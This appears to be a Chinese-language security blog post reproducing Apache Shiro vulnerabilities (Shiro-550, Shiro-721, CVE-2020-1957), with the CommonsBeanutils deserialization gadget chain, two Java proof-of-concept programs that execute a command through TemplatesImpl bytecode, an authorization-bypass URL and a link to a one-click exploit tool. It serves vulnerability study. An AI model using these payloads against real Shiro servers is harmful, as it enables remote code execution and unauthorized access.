shiro反序列化

Last updated on September 27, 2024 am

对shiro反序列化做一个复现

CVE-2016-4437(Shiro-550)

影响版本

Apache Shiro<=1.2.4

漏洞原理

Apacha shiro 提供了remember的功能,当用户登录并选择remember时下次登录就是通过cookie进行认证。

shiro的认证机制是将接收到的cookie 进行base64解码,然后通过AES解码,最后进行反序列化。

而在Apache Shiro<=1.2.4,AES的加解密密钥是硬编码在代码中,如果攻击者通过泄露或者爆破得到密钥,则可以伪造Remember的值。也就是先构造能够触发命令执行的序列化,然后AES加密,base64编码得到remember,然后以remember=这个值去访问服务端就会触发反序列化漏洞。

比如打CC链,需要有引入CommonsCollections组件

CVE-2019-12422(Shiro-721)

影响版本

1.2.5,
1.2.6,
1.3.0,
1.3.1,
1.3.2,
1.4.0-RC2,
1.4.0,
1.4.1

漏洞原理

相较于Shiro-550,Shiro-721的AES加密是AES-CBC,key是系统动态生成的,所以是猜不到的。

Padding Oracle Attack攻击可以实现破解AES-CBC加密过程进而实现rememberMe的内容伪造。(需要提供一个正常用户Cookie中的remember值

上面两个CVE的利用工具

GitHub - feihong-cs/ShiroExploit-Deprecated: Shiro550/Shiro721 一键化利用工具,支持多种回显方式

CVE-2020-1957

影响版本

Apache Shiro < 1.5.1

漏洞原理

这个是一个鉴权漏洞。

Spring Boot中使用 Apache Shiro 进行身份验证、权限控制时,可以精心构造恶意的URL,利用 Apache Shiro 和 Spring Boot 对URL的处理的差异化,可以绕过 Apache Shiro 对 Spring Boot 中的 Servlet 的权限控制,越权并实现未授权访问。

POC

构造恶意请求/xxx/..;/admin/,即可绕过权限校验,访问到管理页面。

commons-collections+common-beanutils链利用

利用链

1
PriorityQueue::readObject->PriorityQueue::heapify->PriorityQueue::siftDown->PriorityQueue::siftDownUsingComparator->BeanComparator::compare->PropertyUtils::getProperty->PropertyUtilsBean::getProperty->PropertyUtilsBean::->getSimpleProperty->TemplatesImpl

分析

无参实例化时,会使用this() 关键字用于调用当前类的另一个构造函数,所以会调用BeanComparator(String property)

BeanComparator(String property)中使用了ComparableComparator。使用ComparableComparator需要引入commons-collections

BeanComparator::compare,

调用了PropertyUtils.getProperty参数可控,

调用了PropertyUtilsBean.getProperty,然后调用getNestedProperty,再调用getSimpleProperty

可以设置要调用的getter方法,这里设置为调用TemplatesImplgetOutputProperties

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package com.example.demo;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

public class CommonsBeanutils1 {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
Object value = field.get(obj);
return value;

}
public static void main(String[] args) throws Exception {
//恶意Templates
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "Calc" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{cc.toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

BeanComparator beanComparator = new BeanComparator();
PriorityQueue priorityQueue = new PriorityQueue(2,beanComparator);
priorityQueue.add(1);
priorityQueue.add(1);
setFieldValue(beanComparator, "property", "outputProperties"); //要调用的getter
setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});

ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CommonsBeanutils.ser"));
outputStream.writeObject(priorityQueue);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CommonsBeanutils.ser"));
inputStream.readObject();
inputStream.close();
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
      <dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version>
</dependency>

CommonsBeanutils链利用

CB链不需要依赖其他组件,shiro自身带了CommonsBeanutils组件,自身就可以完成利用。

分析

由于ComparableComparatorcommons-collections中的,所以要不想依赖CC就不能用到commons-collections

BeanComparator的构造函数中,可以通过传递两个参数(String,Comparator)来避免使用commons-collections

p神已经找到了可以传的Comparator:String.CASE_INSENSITIVE_ORDER,所以构造时用

1
BeanComparator beanComparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);

PriorityQueue::add当添加第二个时会调用到String.CASE_INSENSITIVE_ORDERcompare

1
public int compare(String s1, String s2) 

参数要求是String,所以add的时候要改成String类型。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package com.example.demo;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;

public class CommonsBeanutils1 {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
Object value = field.get(obj);
return value;

}
public static void main(String[] args) throws Exception {
//恶意Templates
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "Calc" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{cc.toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

BeanComparator beanComparator = new BeanComparator(null,(String.CASE_INSENSITIVE_ORDER);
PriorityQueue priorityQueue = new PriorityQueue(2,beanComparator);
priorityQueue.add("1");
priorityQueue.add("1");
setFieldValue(beanComparator, "property", "outputProperties"); //要调用的getter
setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});

ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CommonsBeanutils.ser"));
outputStream.writeObject(priorityQueue);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CommonsBeanutils.ser"));
inputStream.readObject();
inputStream.close();
}
}

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.2.4</version>
</dependency>

https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html


本文作者: fru1ts
本文链接: https://fru1ts.github.io/2024/09/05/shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
版权声明: 本站均采用BY-SA协议,除特别声明外,转载请注明出处!